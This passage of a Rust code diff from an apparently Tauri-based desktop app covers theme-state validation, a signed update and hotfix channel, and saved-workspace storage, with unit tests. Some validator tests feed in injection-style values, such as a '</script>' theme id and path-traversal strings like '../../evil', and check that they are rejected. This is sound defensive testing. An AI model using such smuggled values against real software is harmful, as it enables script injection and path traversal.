host_tab.join(",")
);
Capabilities::from_sources(&[("shell.json", &shell), ("tab-chrome.json", &tab)])
}
#[test]
fn host_commands_pass_when_granted_to_their_callers() {
let caps = caps("", "");
caps.assert_host_commands();
caps.assert_not_granted("draft_list");
caps.assert_no_plugin_apis(&["updater", "process"]);
}
#[test]
#[should_panic(expected = "shell-only")]
fn a_shell_command_granted_to_tabs_fails() {
caps("", r#","allow-tabs-sync""#).assert_host_commands();
}
#[test]
#[should_panic(expected = "tab-only")]
fn a_tab_command_granted_to_the_shell_fails() {
caps(r#","allow-tab-shortcut""#, "").assert_host_commands();
}
#[test]
#[should_panic(expected = "plugin API")]
fn plugin_apis_are_refused() {
caps(r#","updater:default""#, "").assert_no_plugin_apis(&["updater"]);
}
#[test]
fn guards_are_read_from_the_first_statement() {
let source = "async fn a(webview: Webview) -> Result<(), String> {\n shell_only(&webview)?;\n Ok(())\n}\nfn b(webview: Webview) { let x = 1; shell_only(&webview)?; }";
assert_guarded(source, "a", "shell_only(&webview)?");
assert!(std::panic::catch_unwind(|| assert_guarded(source, "b", "shell_only(&webview)?")).is_err());
}
#[test]
fn the_host_commands_check_their_callers_first() {
assert_host_guards();
}
}

View file

@ -0,0 +1,410 @@
//! The owner's theme state as native code keeps it: the theme choice (a theme id, an accent, the
//! panel's per-group overrides and the owner's imported theme documents; `x-theme.v2.json` style
//! app data) and which theme each site tab shows ([`ThemeScopes`]: a pane's own theme, else its
//! account profile's, else the global one). The same rules run in the shell
//! (`waybetter/packages/runtime/src/themeChoice.ts`, `shell/src/frame/themeScopes.ts`).
//!
//! Theme documents are declarative JSON (`theme.schema.json` in the `waybetter` package) that the page
//! runtime sanitizes field by field (`runtime/src/themeSpec.ts`: hex colors, clamped numbers, fixed
//! enums, font names matching a strict pattern, `data:image/*` backgrounds). Here only the envelope is
//! checked against the schema's own rules (ids, names, sizes, override groups), so nothing unbounded
//! is persisted or evaluated in every site tab. What differs per site is its built-in themes
//! ([`ThemeSite`]).
use crate::site::SiteSpec;
use serde::{Deserialize, Serialize};
use serde_json::{Map, Value};
use std::collections::BTreeMap;
/// A site's built-in themes. The first preset is the site's own look (the default choice).
#[derive(Clone, Copy, Debug)]
pub struct ThemeSite {
/// Built-in theme ids the page runtime knows (the site's `BUILTIN_THEMES`), its own look first.
pub presets: &'static [&'static str],
/// The page color (`colors.page`, else `colors.bg`) of every built-in theme with colors of its
/// own: a tab webview's native background before the page paints. The site's own look has none.
pub page_colors: &'static [(&'static str, &'static str)],
}
impl ThemeSite {
/// The site's own look (`presets[0]`).
pub fn own(&self) -> &'static str {
self.presets.first().copied().unwrap_or("site")
}
}
/// At most this many imported/user themes are kept (`MAX_USER_THEMES` in themeChoice.ts).
pub const MAX_THEMES: usize = 24;
/// One theme document (a background image is a `data:` URL inside it).
pub const MAX_THEME_BYTES: usize = 1_200_000;
/// The whole persisted theme state, all themes included.
pub const MAX_TOTAL_BYTES: usize = 4_000_000;
/// Theme names: 1-60 characters (`theme.schema.json` `name`).
pub const MAX_NAME_CHARS: usize = 60;
/// Override groups the panel may change on top of a theme.
pub const OVERRIDE_KEYS: [&str; 7] = ["font", "shape", "layout", "background", "effects", "colors", "css"];
/// The theme applied to the site's tabs: a theme id (built-in or one of `themes`), an optional
/// accent, per-group overrides from the panel and the owner's imported theme documents.
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct ThemeChoice {
pub preset: String,
#[serde(default)]
pub accent: Option<String>,
#[serde(default, skip_serializing_if = "Map::is_empty")]
pub overrides: Map<String, Value>,
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub themes: Vec<Value>,
}
/// A theme id: a lowercase slug of 1-40 characters (`theme.schema.json` `id`).
pub fn valid_id(id: &str) -> bool {
!id.is_empty() && id.len() <= 40 && id.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
}
/// A six-digit `#rrggbb` color.
pub fn valid_hex(value: &str) -> bool {
value.len() == 7 && value.starts_with('#') && value.as_bytes()[1..].iter().all(u8::is_ascii_hexdigit)
}
fn doc_id(theme: &Value) -> Option<&str> {
theme.get("id").and_then(Value::as_str)
}
impl ThemeChoice {
/// The site's own look, nothing customized.
pub fn default_for(site: &ThemeSite) -> Self {
Self { preset: site.own().into(), accent: None, overrides: Map::new(), themes: Vec::new() }
}
pub fn validate(&self, site: &ThemeSite) -> Result<(), String> {
if let Some(accent) = &self.accent {
if !valid_hex(accent) {
return Err("VALIDATION: accent must use six-digit hex".into());
}
}
if self.themes.len() > MAX_THEMES {
return Err("VALIDATION: too many themes".into());
}
let mut ids: Vec<&str> = Vec::new();
for theme in &self.themes {
let object = theme.as_object().ok_or("VALIDATION: a theme must be an object")?;
let id = object.get("id").and_then(Value::as_str).ok_or("VALIDATION: a theme needs an id")?;
if !valid_id(id) || site.presets.contains(&id) || ids.contains(&id) {
return Err("VALIDATION: theme ids are unique lowercase slugs".into());
}
let name = object.get("name").and_then(Value::as_str).ok_or("VALIDATION: a theme needs a name")?;
if name.trim().is_empty() || name.chars().count() > MAX_NAME_CHARS {
return Err("VALIDATION: theme names are 1-60 characters".into());
}
if serde_json::to_vec(theme).map(|bytes| bytes.len()).unwrap_or(usize::MAX) > MAX_THEME_BYTES {
return Err("VALIDATION: theme is too large".into());
}
ids.push(id);
}
if !site.presets.contains(&self.preset.as_str()) && !ids.contains(&self.preset.as_str()) {
return Err("VALIDATION: unknown theme preset".into());
}
for (key, value) in &self.overrides {
if !OVERRIDE_KEYS.contains(&key.as_str()) || !value.is_object() {
return Err("VALIDATION: unknown theme override".into());
}
}
if serde_json::to_vec(self).map(|bytes| bytes.len()).unwrap_or(usize::MAX) > MAX_TOTAL_BYTES {
return Err("VALIDATION: theme data is too large".into());
}
Ok(())
}
/// True when the site keeps its own look (nothing to apply). Imported themes are kept in the
/// file even while the site's own look is selected, so this only looks at what is applied.
pub fn is_default(&self, site: &ThemeSite) -> bool {
self.preset == site.own() && self.accent.is_none() && self.overrides.is_empty()
}
/// Nothing worth persisting: the site's own look and no imported themes.
pub fn is_empty(&self, site: &ThemeSite) -> bool {
self.is_default(site) && self.themes.is_empty()
}
/// Whether `id` names a theme this state knows (built-in or imported).
pub fn knows(&self, site: &ThemeSite, id: &str) -> bool {
site.presets.contains(&id) || self.themes.iter().any(|theme| doc_id(theme) == Some(id))
}
/// The state a tab gets when it shows theme `id`: this state itself for the global theme, else
/// that theme document without the global customizations. Only the document shown is sent.
pub fn for_theme(&self, site: &ThemeSite, id: &str) -> ThemeChoice {
let base = if id == self.preset || !self.knows(site, id) {
self.clone()
} else {
ThemeChoice { preset: id.into(), accent: None, overrides: Map::new(), themes: self.themes.clone() }
};
let preset = base.preset.clone();
let themes = base.themes.into_iter().filter(|theme| doc_id(theme) == Some(preset.as_str())).collect();
ThemeChoice { themes, ..base }
}
/// Google Fonts families (`font.roles.*` with `"source": "google"`) the shown theme uses in the
/// site's page, from its document and the global overrides. Names are checked again when read from disk.
pub fn google_fonts(&self) -> Vec<String> {
let mut out: Vec<String> = Vec::new();
let doc = self.themes.iter().find(|theme| doc_id(theme) == Some(self.preset.as_str()));
let mut collect = |font: Option<&Value>| {
let Some(roles) = font.and_then(|font| font.get("roles")).and_then(Value::as_object) else { return };
for (role, spec) in roles {
if role == "chrome" || spec.get("source").and_then(Value::as_str) != Some("google") {
continue;
}
if let Some(family) = spec.get("family").and_then(|family| family.get(0)).and_then(Value::as_str) {
if crate::gfonts::valid_family(family) && !out.iter().any(|seen| seen == family) && out.len() < 8 {
out.push(family.to_owned());
}
}
}
};
collect(doc.and_then(|doc| doc.get("font")));
collect(self.overrides.get("font"));
out
}
/// The color the shown theme paints the site's page with, as RGB: the tab webview's native
/// background, so a new tab, a navigation or a pane growing during a drag never shows the
/// WebView's white before the page paints. `None` for the site's own look (the site picks it).
pub fn page_color(&self, site: &ThemeSite) -> Option<(u8, u8, u8)> {
let colors_of = |value: Option<&Value>| {
let colors = value?.get("colors")?;
["page", "bg"].iter().find_map(|key| colors.get(*key).and_then(Value::as_str).filter(|hex| valid_hex(hex)).map(str::to_owned))
};
let doc = self.themes.iter().find(|theme| doc_id(theme) == Some(self.preset.as_str()));
let base = match doc {
Some(doc) => colors_of(Some(doc)),
None => site.page_colors.iter().find(|(id, _)| *id == self.preset).map(|(_, hex)| (*hex).to_owned()),
}?;
// Color overrides apply only on top of a theme with colors of its own (like the runtime).
let hex = colors_of(Some(&Value::Object(self.overrides.clone()))).unwrap_or(base);
let channel = |at: usize| u8::from_str_radix(&hex[at..at + 2], 16).ok();
Some((channel(1)?, channel(3)?, channel(5)?))
}
/// Hands the theme to the page runtime (`<global>.theme.apply`), or leaves it for the runtime to
/// pick up at start (`__btTheme`); only in the top frame of the site's own origin.
pub fn script(&self, site: &ThemeSite, spec: &SiteSpec) -> Result<String, String> {
self.validate(site)?;
let json = serde_json::to_string(self).map_err(|_| "THEME: serialization failed")?;
Ok(format!(
"(()=>{{if(window.top!==window||location.origin!=='{origin}')return;const t={json};const BT=window.{global};if(BT&&BT.theme)BT.theme.apply(t);else window.__btTheme=t;}})();",
origin = spec.primary_origin(),
global = spec.runtime_global,
))
}
}
/// At most this many account profiles and panes carry a theme of their own.
pub const MAX_PROFILE_THEMES: usize = 32;
pub const MAX_PANE_THEMES: usize = 64;
/// Which theme each site tab gets: a pane's own theme, else its account profile's, else the global
/// one. `chrome` says whether wayBetter's own window follows the theme (`"theme"`) or keeps its own
/// style (`"own"`); only the shell reads it.
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct ThemeScopes {
#[serde(default = "chrome_default")]
pub chrome: String,
#[serde(default)]
pub profiles: BTreeMap<String, String>,
#[serde(default)]
pub panes: BTreeMap<String, String>,
}
impl Default for ThemeScopes {
fn default() -> Self {
Self { chrome: chrome_default(), profiles: BTreeMap::new(), panes: BTreeMap::new() }
}
}
fn chrome_default() -> String {
"theme".into()
}
impl ThemeScopes {
pub fn validate(&self) -> Result<(), String> {
if self.chrome != "theme" && self.chrome != "own" {
return Err("VALIDATION: chrome must be theme or own".into());
}
if self.profiles.len() > MAX_PROFILE_THEMES || self.panes.len() > MAX_PANE_THEMES {
return Err("VALIDATION: too many theme assignments".into());
}
for (profile, theme) in &self.profiles {
if !crate::profiles::valid_profile_id(profile) || !valid_id(theme) {
return Err("VALIDATION: invalid account theme".into());
}
}
for (tab, theme) in &self.panes {
if !crate::policy::valid_tab_id(tab) || !valid_id(theme) {
return Err("VALIDATION: invalid pane theme".into());
}
}
Ok(())
}
/// Nothing worth persisting.
pub fn is_default(&self) -> bool {
self.chrome == "theme" && self.profiles.is_empty() && self.panes.is_empty()
}
/// The theme id tab `tab` (in account `profile`) shows; unknown ids fall through to the next level.
pub fn theme_id<'a>(&'a self, site: &ThemeSite, global: &'a ThemeChoice, tab: &str, profile: Option<&str>) -> &'a str {
if let Some(id) = self.panes.get(tab).filter(|id| global.knows(site, id)) {
return id;
}
if let Some(id) = profile.and_then(|profile| self.profiles.get(profile)).filter(|id| global.knows(site, id)) {
return id;
}
&global.preset
}
/// The theme state for one site tab.
pub fn for_tab(&self, site: &ThemeSite, global: &ThemeChoice, tab: &str, profile: Option<&str>) -> ThemeChoice {
global.for_theme(site, self.theme_id(site, global, tab, profile))
}
}
#[cfg(test)]
mod tests {
use super::*;
use serde_json::json;
static SITE: ThemeSite = ThemeSite {
presets: &["site", "paper", "nord", "night-ink"],
page_colors: &[("paper", "#e9e2d3"), ("nord", "#232831"), ("night-ink", "#05060a")],
};
fn with(value: Value) -> Result<ThemeChoice, String> {
let theme: ThemeChoice = serde_json::from_value(value).map_err(|error| error.to_string())?;
theme.validate(&SITE).map(|()| theme)
}
#[test]
fn page_color_follows_the_shown_theme() {
let preset = |id: &str| ThemeChoice { preset: id.into(), ..ThemeChoice::default_for(&SITE) };
assert_eq!(preset("site").page_color(&SITE), None, "the site's own look: the site picks its palette");
assert_eq!(preset("nord").page_color(&SITE), Some((0x23, 0x28, 0x31)));
let overridden = ThemeChoice { overrides: json!({ "colors": { "page": "#102030" } }).as_object().unwrap().clone(), ..preset("nord") };
assert_eq!(overridden.page_color(&SITE), Some((0x10, 0x20, 0x30)));
let own_with_override = ThemeChoice { overrides: json!({ "colors": { "page": "#102030" } }).as_object().unwrap().clone(), ..preset("site") };
assert_eq!(own_with_override.page_color(&SITE), None, "the site's own look ignores color overrides");
let imported = ThemeChoice {
preset: "mine".into(),
themes: vec![json!({ "id": "mine", "name": "Mine", "colors": { "bg": "#abcdef", "page": "nope" } })],
..ThemeChoice::default_for(&SITE)
};
assert_eq!(imported.page_color(&SITE), Some((0xab, 0xcd, 0xef)), "an invalid page color falls back to bg");
}
#[test]
fn user_themes_and_overrides_are_bounded() {
let ok = with(json!({ "preset": "mine", "themes": [{ "id": "mine", "name": "Mine", "colors": null }], "overrides": { "font": { "scale": 1.1 } } })).unwrap();
assert!(!ok.is_default(&SITE));
let script = ok.script(&SITE, &crate::site::testing::SITE).unwrap();
assert!(script.contains(r#""preset":"mine""#));
assert!(script.starts_with("(()=>{if(window.top!==window||location.origin!=='https://x.com')return;"), "{script}");
assert!(script.contains("const BT=window.BetterTwttr;"));
assert!(with(json!({ "preset": "other", "themes": [{ "id": "mine", "name": "Mine" }] })).is_err(), "the selected theme must exist");
for id in ["Mine", "a b", "", "site", "night-ink", "</script>"] {
assert!(with(json!({ "preset": "site", "themes": [{ "id": id, "name": "n" }] })).is_err(), "accepted {id}");
}
assert!(with(json!({ "preset": "site", "themes": [{ "id": "a", "name": "A" }, { "id": "a", "name": "B" }] })).is_err());
assert!(with(json!({ "preset": "site", "themes": [{ "id": "a", "name": "" }] })).is_err());
assert!(with(json!({ "preset": "site", "themes": ["css"] })).is_err());
assert!(with(json!({ "preset": "site", "overrides": { "script": {} } })).is_err());
assert!(with(json!({ "preset": "site", "overrides": { "css": { "text": "a { color: red }" } } })).is_ok(), "theme CSS override");
assert!(with(json!({ "preset": "site", "overrides": { "css": "a {}" } })).is_err(), "theme CSS must be an object");
assert!(with(json!({ "preset": "site", "overrides": { "font": "Comic Sans" } })).is_err());
let huge = "a".repeat(MAX_THEME_BYTES);
assert!(with(json!({ "preset": "site", "themes": [{ "id": "a", "name": "A", "css": huge }] })).is_err());
let many: Vec<Value> = (0..=MAX_THEMES).map(|i| json!({ "id": format!("t{i}"), "name": "T" })).collect();
assert!(with(json!({ "preset": "site", "themes": many })).is_err());
}
#[test]
fn tabs_get_pane_then_account_then_global_theme() {
let global = with(json!({ "preset": "mine", "accent": "#ff0000", "overrides": { "font": { "scale": 1.1 } },
"themes": [{ "id": "mine", "name": "Mine" }, { "id": "other", "name": "Other" }] })).unwrap();
let scopes: ThemeScopes = serde_json::from_value(json!({ "profiles": { "p1": "paper" }, "panes": { "t1": "other", "t2": "gone" } })).unwrap();
scopes.validate().unwrap();
assert_eq!(scopes.chrome, "theme");
assert_eq!(scopes.theme_id(&SITE, &global, "t1", Some("p1")), "other");
assert_eq!(scopes.theme_id(&SITE, &global, "t2", Some("p1")), "paper");
assert_eq!(scopes.theme_id(&SITE, &global, "t2", Some("default")), "mine");
assert_eq!(scopes.theme_id(&SITE, &global, "t3", None), "mine");
// The global theme keeps its customizations; another theme is sent bare and alone.
let same = scopes.for_tab(&SITE, &global, "t9", None);
assert_eq!((same.accent.as_deref(), same.overrides.len(), same.themes.len()), (Some("#ff0000"), 1, 1));
let other = scopes.for_tab(&SITE, &global, "t1", None);
assert_eq!((other.preset.as_str(), other.accent.as_deref(), other.overrides.len(), other.themes.len()), ("other", None, 0, 1));
other.validate(&SITE).unwrap();
let builtin = scopes.for_tab(&SITE, &global, "t5", Some("p1"));
assert_eq!((builtin.preset.as_str(), builtin.themes.len()), ("paper", 0));
builtin.validate(&SITE).unwrap();
}
#[test]
fn scopes_are_bounded_and_checked() {
let parse = |value: Value| serde_json::from_value::<ThemeScopes>(value).map_err(|e| e.to_string()).and_then(|s| s.validate().map(|()| s));
assert!(parse(json!({})).unwrap().is_default());
assert!(parse(json!({ "chrome": "own" })).is_ok());
assert!(parse(json!({ "chrome": "rainbow" })).is_err());
assert!(parse(json!({ "panes": { "t1": "Night Ink" } })).is_err(), "theme ids are slugs");
assert!(parse(json!({ "panes": { "../t": "paper" } })).is_err(), "tab ids are checked");
assert!(parse(json!({ "profiles": { "work": "paper" } })).is_err(), "profile ids are checked");
assert!(parse(json!({ "script": {} })).is_err(), "unknown fields");
let many: Map<String, Value> = (0..=MAX_PANE_THEMES).map(|i| (format!("t{i}"), json!("paper"))).collect();
assert!(parse(json!({ "panes": many })).is_err());
}
#[test]
fn google_fonts_come_from_the_shown_theme_only() {
let global = with(json!({ "preset": "mine", "overrides": { "font": { "roles": { "numbers": { "family": ["Space Mono"], "source": "google" } } } },
"themes": [
{ "id": "mine", "name": "Mine", "font": { "roles": {
"interface": { "family": ["Inter", "sans-serif"], "source": "google" },
"post": { "family": ["Georgia"] },
"chrome": { "family": ["Fraunces"], "source": "google" },
"heading": { "family": ["../../evil"], "source": "google" } } } },
{ "id": "other", "name": "Other", "font": { "roles": { "post": { "family": ["Lora"], "source": "google" } } } }
] })).unwrap();
// Chrome fonts are the shell's; invalid names are dropped; overrides count.
assert_eq!(global.google_fonts(), vec!["Inter".to_string(), "Space Mono".to_string()]);
assert_eq!(global.for_theme(&SITE, "other").google_fonts(), vec!["Lora".to_string()]);
assert!(global.for_theme(&SITE, "paper").google_fonts().is_empty());
}
#[test]
fn default_and_empty() {
let own = ThemeChoice::default_for(&SITE);
assert!(own.is_default(&SITE) && own.is_empty(&SITE));
assert_eq!(own.preset, "site");
let kept = with(json!({ "preset": "site", "themes": [{ "id": "a", "name": "A" }] })).unwrap();
assert!(kept.is_default(&SITE) && !kept.is_empty(&SITE));
}
/// The envelope checks are the theme file's JSON Schema (`waybetter/theme.schema.json`).
#[test]
fn envelope_rules_are_the_schema_rules() {
let schema: Value = serde_json::from_str(include_str!("../../../packages/waybetter/theme.schema.json")).unwrap();
let properties = schema["properties"].as_object().unwrap();
assert_eq!(schema["properties"]["id"]["pattern"], "^[a-z0-9-]{1,40}$");
assert_eq!(schema["properties"]["name"]["maxLength"], MAX_NAME_CHARS);
for group in OVERRIDE_KEYS {
assert!(properties.contains_key(group), "{group} is a theme document group");
}
assert_eq!(schema["required"], json!(["name"]));
let long = "a".repeat(41);
for (id, ok) in [("a", true), ("night-ink-2", true), ("A", false), ("a_b", false), (long.as_str(), false)] {
assert_eq!(valid_id(id), ok, "{id}");
}
}
}

View file

@ -0,0 +1,275 @@
//! Native updates (tauri-plugin-updater: the app's signed endpoint and public key from its
//! `tauri.conf.json`) and the signed, data-only hotfix channel, run from Rust (`tauri` + `net`
//! features). The scheduling and the crash handshake are [`crate::update`]; the hotfix format and
//! its verification are [`crate::hotfix`].
//!
//! The app registers the updater plugin, calls [`init`] from `setup` with its [`UpdaterConfig`],
//! and wraps [`status`], [`apply`] and [`ready`] in its own shell-only commands; its shell gets an
//! `update-status` event. Site tabs get no updater IPC at all, only verified hotfix data
//! ([`hotfix_script`]).
use crate::hotfix::{self, Hotfix, Outcome};
use crate::site::SiteSpec;
use crate::update::{self, PendingUpdate, UpdateStatus};
use std::path::PathBuf;
use std::sync::Mutex;
use tauri::{AppHandle, Manager};
use tauri_plugin_updater::{Update, UpdaterExt};
/// Shell event carrying the current [`UpdateStatus`].
pub const EVENT: &str = "update-status";
const HOTFIX_FILE: &str = "hotfix.json";
const HOTFIX_SIG_FILE: &str = "hotfix.json.sig";
/// What differs between apps: the hotfix channel, the page names hotfix data is delivered under,
/// the manual download page and what to do when an update is ready.
pub struct UpdaterConfig {
/// Hotfix data goes to this site's tabs.
pub site: &'static SiteSpec,
/// Hotfix channel URL (`.sig` is appended for the signature).
pub hotfix_url: &'static str,
/// Hotfix public key (base64 of the minisign `.pub` file).
pub hotfix_pubkey: &'static str,
/// Page global and event the hotfix is delivered under (`window.<global>`, `<event>`).
pub hotfix_global: &'static str,
pub hotfix_event: &'static str,
/// Offered when an update keeps failing to start.
pub manual_download_url: &'static str,
/// Generic user agent of the hotfix fetch (no identifiers, no cookies).
pub user_agent: &'static str,
/// An update was downloaded and verified (`version`): e.g. a notification in the owner's language.
pub on_ready: fn(&AppHandle, &str),
}
#[derive(Default)]
struct Inner {
status: Option<UpdateStatus>,
/// A downloaded, signature-verified update waiting for the user's restart.
ready: Option<(Update, Vec<u8>)>,
hotfix: Option<Hotfix>,
/// Automatic apply is off after repeated failed starts of an update.
problem: bool,
}
struct UpdateState {
config: &'static UpdaterConfig,
inner: Mutex<Inner>,
}
fn status_of(config: &UpdaterConfig, inner: &Inner) -> UpdateStatus {
if inner.problem {
return UpdateStatus::Problem { download_url: config.manual_download_url.into() };
}
inner.status.clone().unwrap_or(UpdateStatus::Idle)
}
fn set_status(app: &AppHandle, status: UpdateStatus) {
let state = app.state::<UpdateState>();
let Ok(mut inner) = state.inner.lock() else { return };
inner.status = Some(status);
let current = status_of(state.config, &inner);
drop(inner);
crate::host::emit_shell(app, EVENT, current);
}
fn data_path(app: &AppHandle, name: &str) -> Option<PathBuf> {
app.path().app_data_dir().ok().map(|dir| dir.join(name))
}
fn entropy() -> u64 {
let mut bytes = [0u8; 8];
if getrandom::getrandom(&mut bytes).is_err() {
return std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).map(|d| d.as_nanos() as u64).unwrap_or(0);
}
u64::from_le_bytes(bytes)
}
/// Called from `setup`: runs the launch handshake, loads the cached hotfix and starts the loop
/// (first check after [`update::FIRST_CHECK`], then every 30 min +/- 5).
pub fn init(app: &AppHandle, config: &'static UpdaterConfig) {
let current = app.package_info().version.to_string();
let pending_path = data_path(app, update::PENDING_FILE);
let pending = pending_path
.as_ref()
.and_then(|path| std::fs::read_to_string(path).ok())
.and_then(|text| serde_json::from_str::<PendingUpdate>(&text).ok());
let decision = update::on_boot(pending, &current);
if let Some(path) = &pending_path {
match &decision.marker {
Some(marker) => {
let _ = std::fs::write(path, serde_json::to_string(marker).unwrap_or_default());
}
None => {
let _ = std::fs::remove_file(path);
}
}
}
let hotfix = load_cached_hotfix(app, config, &current);
app.manage(UpdateState { config, inner: Mutex::new(Inner { problem: decision.problem, hotfix, ..Default::default() }) });
let app = app.clone();
tauri::async_runtime::spawn(async move {
tokio::time::sleep(update::FIRST_CHECK).await;
loop {
check_native(&app).await;
check_hotfix(&app).await;
tokio::time::sleep(update::next_check_delay(entropy())).await;
}
});
}
async fn check_native(app: &AppHandle) {
{
let state = app.state::<UpdateState>();
let Ok(inner) = state.inner.lock() else { return };
// Already downloaded, or automatic apply disabled after failed starts.
// Also skip while an install is in flight (`ready` was taken by `apply`).
if inner.ready.is_some() || inner.problem || matches!(inner.status, Some(UpdateStatus::Installing { .. })) {
return;
}
}
set_status(app, UpdateStatus::Checking);
let update = match app.updater().map_err(|e| e.to_string()) {
Ok(updater) => updater.check().await.map_err(|e| e.to_string()),
Err(error) => Err(error),
};
match update {
Ok(Some(update)) => {
let version = update.version.clone();
set_status(app, UpdateStatus::Downloading { version: version.clone() });
// The plugin verifies the minisign signature against the embedded pubkey here.
match update.download(|_, _| {}, || {}).await {
Ok(bytes) => {
let notes = update.body.clone().unwrap_or_default();
let state = app.state::<UpdateState>();
if let Ok(mut inner) = state.inner.lock() {
inner.ready = Some((update, bytes));
}
(state.config.on_ready)(app, &version);
set_status(app, UpdateStatus::Ready { version, notes });
}
Err(error) => set_status(app, UpdateStatus::Error { message: format!("UPDATE: {error}") }),
}
}
Ok(None) => set_status(app, UpdateStatus::UpToDate),
// Offline or server trouble: stay quiet, try again next round.
Err(error) => set_status(app, UpdateStatus::Error { message: format!("UPDATE: {error}") }),
}
}
fn load_cached_hotfix(app: &AppHandle, config: &UpdaterConfig, native: &str) -> Option<Hotfix> {
let body = std::fs::read(data_path(app, HOTFIX_FILE)?).ok()?;
let sig = std::fs::read_to_string(data_path(app, HOTFIX_SIG_FILE)?).ok()?;
// Re-verified on every load: the cache on disk is not trusted either. Expired → defaults.
match hotfix::accept(config.hotfix_pubkey, &body, &sig, chrono::Utc::now(), native, None) {
Ok(Outcome::Accepted(hotfix)) => Some(hotfix),
_ => None,
}
}
async fn fetch_limited(client: &reqwest::Client, url: &str, max: usize) -> Result<Vec<u8>, String> {
let response = client.get(url).send().await.map_err(|e| format!("HOTFIX: {e}"))?;
if !response.status().is_success() {
return Err(format!("HOTFIX: HTTP {}", response.status()));
}
if response.content_length().is_some_and(|len| len as usize > max) {
return Err("HOTFIX: response too large".into());
}
// Stream with a hard cap: a chunked response without Content-Length must not grow unbounded.
let mut response = response;
let mut bytes = Vec::new();
while let Some(chunk) = response.chunk().await.map_err(|e| format!("HOTFIX: {e}"))? {
if bytes.len() + chunk.len() > max {
return Err("HOTFIX: response too large".into());
}
bytes.extend_from_slice(&chunk);
}
Ok(bytes)
}
async fn check_hotfix(app: &AppHandle) {
if let Err(error) = try_check_hotfix(app).await {
let product = app.state::<UpdateState>().config.site.product;
eprintln!("{product}: {error}");
}
}
async fn try_check_hotfix(app: &AppHandle) -> Result<(), String> {
let config = app.state::<UpdateState>().config;
if rustls::crypto::CryptoProvider::get_default().is_none() {
let _ = rustls::crypto::ring::default_provider().install_default();
}
// No identifiers: no cookies, no install id, a generic user agent.
let client = reqwest::Client::builder()
.user_agent(config.user_agent)
.timeout(std::time::Duration::from_secs(20))
.build()
.map_err(|e| format!("HOTFIX: {e}"))?;
let body = fetch_limited(&client, config.hotfix_url, hotfix::MAX_BODY_BYTES).await?;
let sig_url = format!("{}.sig", config.hotfix_url);
let sig = fetch_limited(&client, &sig_url, hotfix::MAX_SIG_BYTES).await?;
let sig = String::from_utf8(sig).map_err(|_| "HOTFIX: signature is not text")?;
let native = app.package_info().version.to_string();
let held = app.state::<UpdateState>().inner.lock().ok().and_then(|inner| inner.hotfix.as_ref().map(|h| h.version));
let Outcome::Accepted(hotfix) = hotfix::accept(config.hotfix_pubkey, &body, &sig, chrono::Utc::now(), &native, held)? else {
return Ok(());
};
if let (Some(body_path), Some(sig_path)) = (data_path(app, HOTFIX_FILE), data_path(app, HOTFIX_SIG_FILE)) {
let _ = std::fs::write(body_path, &body);
let _ = std::fs::write(sig_path, &sig);
}
let script = hotfix::script(&hotfix, config.hotfix_global, config.hotfix_event);
if let Ok(mut inner) = app.state::<UpdateState>().inner.lock() {
inner.hotfix = Some(hotfix);
}
crate::host::eval_in_site_tabs(app, config.site, &script);
Ok(())
}
/// Hotfix data for a freshly loaded site document, if one is held.
pub fn hotfix_script(app: &AppHandle) -> Option<String> {
let state = app.try_state::<UpdateState>()?;
let inner = state.inner.lock().ok()?;
inner.hotfix.as_ref().map(|hotfix| hotfix::script(hotfix, state.config.hotfix_global, state.config.hotfix_event))
}
/// The current status (for the app's shell-only `update_status`).
pub fn status(app: &AppHandle) -> Result<UpdateStatus, String> {
let state = app.try_state::<UpdateState>().ok_or("UPDATE: state unavailable")?;
let inner = state.inner.lock().map_err(|_| "UPDATE: state unavailable")?;
Ok(status_of(state.config, &inner))
}
/// Installs the downloaded update and restarts (the app's shell-only `apply_update`). On Windows
/// the quiet NSIS installer replaces the app and relaunches it (`/UPDATE /R`), and this process
/// exits inside `install`.
pub fn apply(app: &AppHandle) -> Result<(), String> {
let state = app.try_state::<UpdateState>().ok_or("UPDATE: state unavailable")?;
let (update, bytes) = state.inner.lock().map_err(|_| "UPDATE: state unavailable")?.ready.take().ok_or("UPDATE: no update is ready")?;
let version = update.version.clone();
if let Some(path) = data_path(app, update::PENDING_FILE) {
let marker = PendingUpdate { version: version.clone(), boots: 0 };
let _ = std::fs::write(path, serde_json::to_string(&marker).unwrap_or_default());
}
set_status(app, UpdateStatus::Installing { version });
if let Err(error) = update.install(&bytes) {
if let Some(path) = data_path(app, update::PENDING_FILE) {
let _ = std::fs::remove_file(path);
}
set_status(app, UpdateStatus::Error { message: format!("UPDATE: {error}") });
return Err(format!("UPDATE: {error}"));
}
app.restart();
}
/// The shell reached a working state (the app's shell-only `app_ready`): confirms a
/// just-installed update and returns the status.
pub fn ready(app: &AppHandle) -> Result<UpdateStatus, String> {
if let Some(path) = data_path(app, update::PENDING_FILE) {
let _ = std::fs::remove_file(path);
}
// `problem` is deliberately kept for this session: the shell always calls `app_ready` on
// mount, so clearing it here would hide the "Update problem" chip on the very launch that
// detected the failed starts.
status(app)
}

View file

@ -0,0 +1,217 @@
//! Saved workspaces (named tab/pane/deck layouts the shell builds), stored natively in app data
//! `workspaces.json` through the app's shell-only `workspaces_get` / `workspaces_set` commands.
//!
//! The shell builds and restores them; native code only keeps them bounded and well-formed: at most
//! [`MAX_WORKSPACES`], slug ids, names of 1–60 characters, each at most [`MAX_WORKSPACE_BYTES`],
//! at most [`MAX_TABS`] tabs, known tab kinds and http(s) URLs only, theme ids as slugs, and a
//! `default` that names one of them. Nothing here is ever evaluated.
use serde::{Deserialize, Serialize};
use serde_json::{Map, Value};
pub const FILE: &str = "workspaces.json";
pub const MAX_WORKSPACES: usize = 20;
pub const MAX_TABS: usize = 64;
pub const MAX_WORKSPACE_BYTES: usize = 256 * 1024;
const MAX_NAME: usize = 60;
const KINDS: [&str; 4] = ["web", "panel", "start", "deck"];
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct WorkspaceStore {
#[serde(default = "version")]
pub version: u32,
#[serde(default)]
pub default: Option<String>,
#[serde(default)]
pub items: Vec<Value>,
}
fn version() -> u32 {
1
}
/// No workspaces yet (what `workspaces_get` returns before the first save).
impl Default for WorkspaceStore {
